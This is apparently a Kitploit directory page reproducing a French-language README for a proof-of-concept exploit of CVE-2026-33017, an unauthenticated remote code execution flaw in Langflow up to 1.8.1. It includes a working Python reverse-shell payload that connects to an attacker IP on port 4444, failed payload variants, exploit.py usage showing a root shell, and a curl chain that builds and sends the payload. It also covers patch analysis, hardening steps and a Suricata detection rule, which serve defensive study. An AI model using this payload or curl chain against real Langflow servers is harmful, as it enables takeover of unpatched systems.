Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-33017 — Exploit PoC pour une RCE non authentifiée dans Langflow <=1.8.1, incluant une analyse de cause racine au niveau du code source, une charge utile de reverse shell consciente de l'AST, un laboratoire Docker, un diff de patch et des règles de détection. | Kitploit
Outils/GitHubGitHub/lxxexxbxx/cve-2026-33017
Analyse des VulnérabilitésExploitationExploitation d'Applications WebApprentissage et ÉducationDéveloppement de Charges UtilesLabs et Pratique
GitHublxxexxbxx/cve-2026-33017

CVE-2026-33017

Exploit PoC pour une RCE non authentifiée dans Langflow <=1.8.1, incluant une analyse de cause racine au niveau du code source, une charge utile de reverse shell consciente de l'AST, un laboratoire Docker, un diff de patch et des règles de détection.

Voir le dépôt
112il y a 10 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-33017 — Langflow Unauthenticated RCE PoC

Avertissement
Ce dépôt a été créé à des fins de recherche en sécurité et d'éducation.
À utiliser uniquement dans un environnement d'entraînement isolé.
Toute utilisation sur des systèmes non autorisés constitue une violation de la loi sur les réseaux d'information et de communication et est passible de sanctions pénales.


1. Présentation de la vulnérabilité

ÉlémentDescription
CVE IDCVE-2026-33017
Logiciel vulnérableLangflow (constructeur de workflows IA)
Versions affectéesLangflow ≤ 1.8.1
Version corrigéeLangflow ≥ 1.9.0
Type de vulnérabilitéUnauthenticated Remote Code Execution (RCE)
CWECWE-306 (Missing Authentication for Critical Function)
CVSS9.3 (Critical)
CISA KEVInscrit

2. Analyse de la cause de la vulnérabilité

2-1. Point de terminaison vulnérable

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow

Point de terminaison prévu pour la construction de flux publics, conçu pour être accessible sans authentification.

2-2. Chemin d'exécution du code (chaîne d'appels)

Chemin d'exécution confirmé en traçant directement le code source :

root@kitploit:~
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
    │
    ▼
langflow/api/v1/chat.py — build_public_tmp()
    data = request.body["data"]          ← 클라이언트 입력 그대로 수신 (취약점)
    │
    ▼
langflow/api/build.py — start_flow_build()
    data = FlowDataRequest               ← 클라이언트 data 그대로 전달
    │
    ▼
lfx/custom/eval.py — eval_custom_component_code()
    class_name = validate.extract_class_name(code)
    return validate.create_class(code, class_name)
    │
    ▼
lfx/custom/validate.py — create_class()
    module = ast.parse(code)
    exec_globals = prepare_global_scope(module)
    │
    ▼
lfx/custom/validate.py — prepare_global_scope()
    exec(compiled_code, exec_globals)    ← 임의 코드 실행

2-3. Filtrage des nœuds AST — contrainte clé de la conception du payload

La fonction prepare_global_scope() n'exécute pas toutes les instructions du code soumis. Après l'analyse AST, seuls certains types de nœuds sont sélectionnés et exécutés :

root@kitploit:~
# lfx/custom/validate.py — prepare_global_scope() 내부
for node in module.body:
    if isinstance(node, ast.Import):
        imports.append(node)
    elif isinstance(node, ast.ImportFrom):
        import_froms.append(node)
    elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
        definitions.append(node)
    # ↑ Expr 노드는 어디에도 포함되지 않음 → 실행 안 됨

exec(compiled_code, exec_globals)  # definitions만 실행

Types de nœuds AST exécutables :

Type de nœud ASTExempleExécution
FunctionDefdef _shell(): ...✅ Exécuté
ClassDefclass ExploitComponent(Component)✅ Exécuté
Assign_r = os.system("id")✅ Exécuté
AnnAssign_r: int = os.system("id")✅ Exécuté
Expros.system("id") (appel isolé)❌ Ignoré

Conclusion : le payload doit impérativement être écrit sous forme d'Assign (_r = ...) pour être exécuté.
Un simple appel de fonction (os.system("id")) est classé comme nœud Expr et est filtré.

2-4. Processus de conception du payload de reverse shell — analyse des tentatives et échecs

Au cours de l'expérimentation, plusieurs méthodes de payload ont été testées et la cause de chaque échec a été identifiée au niveau du code source.

Tentative 1 — subprocess.Popen + wait() (échec)

root@kitploit:~
_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait()   # ← 여기서 블로킹

Cause de l'échec : le thread de travail Langflow surveille la valeur de retour du composant et ferme de force le socket à l'expiration du délai. Le blocage de _proc.wait() devient alors sans effet.

Tentative 2 — appel direct à os.execve() (échec)

root@kitploit:~
os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())

Cause de l'échec : selon les règles POSIX, lors d'un appel à execve() dans un processus multithread, tous les threads, sauf le thread appelant, sont terminés → crash complet du worker uvicorn → HTTP 500.

Tentative 3 — os.fork() + execve() (échec)

root@kitploit:~
_pid = os.fork()
if _pid == 0:
    os.execve("/bin/bash", ...)

Cause de l'échec : uvicorn détecte la fin anormale du processus enfant et redémarre le worker → HTTP 500.

Tentative 4 — threading.Thread(daemon=True) (échec)

root@kitploit:~
threading.Thread(target=_shell, daemon=True).start()

Cause de l'échec : un thread daemon=True est détruit lorsque le thread principal (worker Langflow) se termine. Le thread meurt avant même la tentative de connect().

Payload final fonctionnel — threading.Thread(daemon=False) + Assign

root@kitploit:~
# FunctionDef → 실행됨
def _shell():
    _s = socket.socket()
    _s.connect(("attacker_ip", 4444))
    _p = subprocess.Popen(["/bin/bash", "-i"],
        stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
    _p.wait()
    _s.close()

# Assign → 실행됨 (Expr 단독 호출은 필터에서 제외되므로 반드시 변수 대입)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()

Raisons du choix de daemon=False :

  • daemon=True → détruit avec le thread du worker Langflow à la fin de celui-ci
  • daemon=False → cycle de vie indépendant du worker → maintien de la connexion socket

3. Configuration de l'environnement de pratique

3-1. Structure des fichiers

root@kitploit:~
CVE-2026-33017/
├── README.md
├── Dockerfile              # 취약 Langflow 1.8.1 환경
├── Dockerfile.attacker     # 공격자 컨테이너 (curl, nc, net-tools 포함)
├── docker-compose.yml      # 취약 서버 + 공격자 컨테이너
├── entrypoint.sh           # Langflow 기동 및 Public 플로우 자동 생성
├── exploit.py              # 리버스 쉘 PoC
└── poc.py                  # Blind RCE / 취약점 존재 확인

3-2. Démarrage de l'environnement

root@kitploit:~
# 1. 컨테이너 빌드 및 기동
docker compose up --build

# 2. Langflow Web UI 접속 확인
# http://localhost:7860
# admin / admin123!

# 3. 컨테이너 IP 확인
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'

3-3. Configuration réseau

root@kitploit:~
┌──────────────────────────────────────────────────┐
│  Docker Bridge Network: poc-net                  │
│                                                  │
│  langflow-vuln-lab   172.19.0.2:7860  (피해자)  │
│  langflow-attacker   172.19.0.3       (공격자)  │
└──────────────────────────────────────────────────┘

4. Utilisation du PoC

4-1. exploit.py — reverse shell

À exécuter dans le conteneur de l'attaquant :

root@kitploit:~
docker exec -it langflow-attacker bash

# 자동 모드 (토큰 발급 + Public 플로우 생성 + 내장 리스너 포함)
python3 exploit.py \
  --url http://172.19.0.2:7860 \
  --lhost 172.19.0.3 \
  --lport 4444

Options :

OptionDescriptionValeur par défaut
--urlURL Langflow cibleRequis
--lhostIP de rappel du reverse shellRequis
--lportPort de rappel du reverse shellRequis
--flow-idUUID du flux public (généré automatiquement si omis)Automatique
--userIdentifiant administrateuradmin
--passwordMot de passe administrateuradmin123!
--no-listenDésactive l'écouteur intégré (si nc externe utilisé)False
--timeoutDélai d'expiration HTTP (secondes)30

Sortie attendue :

root@kitploit:~
============================================================
  CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] 로그인 중... (admin)
[*] 토큰 발급 성공
[*] Public 플로우 생성 중...
[*] Flow ID    : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] 리스너 시작 → 0.0.0.0:4444
[*] 엔드포인트 : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] 콜백       : 172.19.0.3:4444
[*] 페이로드 전송 중...
[*] HTTP 응답  : 200

[+] 쉘 연결됨  ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)

4-2. poc.py — vérification de la RCE aveugle (Blind RCE)

À utiliser pour vérifier uniquement la présence de la vulnérabilité :

root@kitploit:~
python3 poc.py \
  --url http://172.19.0.2:7860 \
  --cmd "id"

4-3. Reproduction manuelle via curl

root@kitploit:~
# 1. 토큰 발급 + Public 플로우 생성
TOKEN=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/login' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'username=admin&password=admin123!' \
  | sed -n 's/.*"access_token":"\([^"]*\)".*/\1/p') && \
FLOW_ID=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/flows/' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc-flow","data":{"nodes":[],"edges":[],"viewport":{}},"is_component":false,"access_type":"PUBLIC"}' \
  | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['id'])") && \
curl -s -X PATCH "http://172.19.0.2:7860/api/v1/flows/${FLOW_ID}" \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"access_type":"PUBLIC"}' > /dev/null && \
echo "FLOW_ID: $FLOW_ID"

# 2. nc 리스너 (터미널 1)
nc -lvnp 4444

# 3. 페이로드 전송 (터미널 2)
curl -s -X POST "http://172.19.0.2:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
  -H 'Content-Type: application/json' \
  -b 'client_id=poc-12345' \
  -d @/tmp/payload.json

5. Répartition des rôles entre exploit.py et poc.py

Élémentexploit.pypoc.py
ObjectifObtention d'un reverse shellVérification de l'existence de la vulnérabilité (Blind RCE)
Vérification du résultatDirectement dans le terminal de l'attaquantJournaux serveur / OOB
ÉcouteurIntégréInutile
Cibles multiplesNon pris en chargePris en charge (--url-file)
Usage pratiquePreuve d'impactPreuve d'existence de la vulnérabilité

6. Analyse du correctif — 1.8.1 vs 1.9.1

6-1. Code vulnérable (1.8.1)

langflow/api/v1/chat.py:

root@kitploit:~
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    data: FlowDataRequest | None = None,  # ← 클라이언트 입력 수신
    ...
):
    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=data,   # ← 클라이언트 data 그대로 빌드 파이프라인에 전달
        ...
    )

6-2. Code corrigé (1.9.1)

langflow/api/v1/chat.py (vérifié directement dans le code source) :

root@kitploit:~
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    # data 파라미터 시그니처에서 완전 제거
    ...
):
    """
    Security Note:
    - The 'data' parameter is NOT accepted to prevent flow definition tampering
    - Public flows must execute the stored flow definition only
    - The flow definition is always loaded from the database
    """
    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=None,            # ← 하드코딩 None, 클라이언트 입력 완전 차단
        source_flow_id=flow_id,  # ← DB에서만 플로우 정의 로드
        ...
    )

6-3. Comparaison du comportement avant/après le correctif

Élément1.8.1 (vulnérable)1.9.1 (corrigé)
Réception du paramètre data✅ Reçu❌ Supprimé de la signature
Exécution des définitions de nœuds client✅ Possible❌ Impossible
Source de la définition du fluxCorps de la requête clientValeurs stockées en base uniquement
RCE sans authentification✅ Réussie❌ Bloquée
Réponse HTTP200 + connexion shell200 (build vide, aucun nœud)

6-4. Évaluation de la conception du correctif

Raisons pour lesquelles une conception qui supprime le paramètre lui-même, plutôt qu'une simple validation des entrées, est la bonne approche :

root@kitploit:~
취약한 설계: 클라이언트 입력 → 검증 → 실행  (검증 우회 가능성 존재)
패치 설계:   클라이언트 입력 → 완전 무시
             DB 저장 플로우만 → 실행         (공격 경로 자체 제거)

7. Mesures correctives

Mesure 1 — mise à jour de la version (solution définitive)

root@kitploit:~
pip install langflow==1.9.1

Mesure 2 — blocage du point de terminaison par reverse proxy Nginx

Emplacement du fichier : nginx.conf (à créer)

root@kitploit:~
server {
    listen 80;

    # CVE-2026-33017 취약 엔드포인트 차단
    location ~ ^/api/v1/build_public_tmp/ {
        deny all;
        return 403;
    }

    location / {
        proxy_pass http://langflow:7860;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

Attention : pour que la mesure soit efficace, il faut également bloquer l'exposition directe du port 7860 de Langflow sur l'extérieur.

Mesure 3 — blocage du point de terminaison par reverse proxy Apache

Emplacement du fichier :

  • Ubuntu/Debian: /etc/apache2/sites-available/langflow.conf
  • CentOS/RHEL: /etc/httpd/conf.d/langflow.conf
root@kitploit:~
<Location "/api/v1/build_public_tmp/">
    Require all denied
</Location>

Mesure 4 — politique de non-utilisation des flux publics

Sans flux public, le point de terminaison renvoie un 404, rendant l'attaque impossible.
Interdire la création de flux publics par politique d'exploitation, ou faire passer les flux existants en PRIVATE.

Mesure 5 — groupe de sécurité AWS (niveau réseau)

Sur la base d'un environnement EC2 :

root@kitploit:~
인바운드 규칙:
  포트 7860 → 허가된 IP만 허용 (0.0.0.0/0 제거)

Mesure 6 — blocage du trafic sortant du conteneur (blocage du rappel du reverse shell)

Bloquer les rappels externes même si la RCE réussit :

root@kitploit:~
# langflow 컨테이너 아웃바운드 차단
iptables -I DOCKER-USER -s <langflow_container_ip> -j DROP

Ou bien dans docker-compose.yml :

root@kitploit:~
langflow-vuln-lab:
  sysctls:
    - net.ipv4.ip_forward=0

Mesure 7 — durcissement du conteneur (limitation des dégâts)

root@kitploit:~
langflow-vuln-lab:
  security_opt:
    - no-new-privileges:true
  cap_drop:
    - ALL
  user: "1000:1000"
  read_only: true
  tmpfs:
    - /tmp

Blocage des syscalls dangereux par profil seccomp (langflow-seccomp.json) :

root@kitploit:~
{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    {
      "names": ["socket", "connect", "fork", "execve"],
      "action": "SCMP_ACT_ERRNO"
    }
  ]
}
root@kitploit:~
security_opt:
  - seccomp:./langflow-seccomp.json

Synthèse des mesures

MesureTypeEffet
Mise à jour 1.9.1Solution définitiveSuppression du paramètre data
Blocage Nginx/ApacheBlocage d'accèsBlocage du chemin d'attaque
Non-utilisation des flux publicsBlocage d'accèsPoint de terminaison 404
Groupe de sécurité AWSBlocage réseauBlocage total de l'accès externe
Blocage du trafic sortantBlocage a posterioriBlocage du rappel du reverse shell
Durcissement du conteneurLimitation des dégâtsBlocage de l'escalade de privilèges / des syscalls

8. Détection — IoC

Schémas de détection

Requête HTTP suspecte :

root@kitploit:~
POST /api/v1/build_public_tmp/*/flow
Content-Type: application/json
Body: {"data": {"nodes": [{"type": "CustomComponent", ...}]}}

Schémas dans les journaux du serveur Langflow :

root@kitploit:~
[warning] Graph has vertices but no edges
[warning] ExploitComponent returned None.
[error]   Exception in worker process

Règle Suricata/Snort

root@kitploit:~
alert http any any -> any 7860 (
    msg:"CVE-2026-33017 Langflow RCE Attempt";
    flow:established,to_server;
    content:"POST"; http_method;
    content:"/build_public_tmp/"; http_uri;
    content:"CustomComponent"; http_client_body;
    classtype:web-application-attack;
    sid:2026033017; rev:1;
)

9. Références

  • NVD — CVE-2026-33017
  • EQSTLab/CVE-2026-33017
  • Commit de correctif officiel Langflow
  • CISA KEV
  • JFrog Security Research

10. Différences avec les PoC publics existants

Ce dépôt ne se contente pas d'exécuter un simple PoC : grâce à une analyse au niveau du code source, il établit en outre les éléments suivants :

  1. Découverte du filtrage des nœuds AST
    Vérifié directement par analyse du code source : prepare_global_scope() de lfx/custom/validate.py ignore les nœuds Expr. Cela a permis d'expliquer pourquoi le payload à simple appel de fonction des PoC publics existants échoue dans cet environnement.

  2. Analyse des causes d'échec des payloads
    Analyse des causes d'échec de 4 approches — Popen+wait(), execve(), fork()+execve(), thread daemon=True — du point de vue de la structure multithread d'uvicorn et des règles POSIX.

  3. Vérification directe du code du correctif
    Vérification directe au niveau du code source, dans chat.py de la version 1.9.1, du codage en dur de data=None et de la suppression du paramètre, puis analyse de l'intention de conception du correctif.

Télécharger l’outil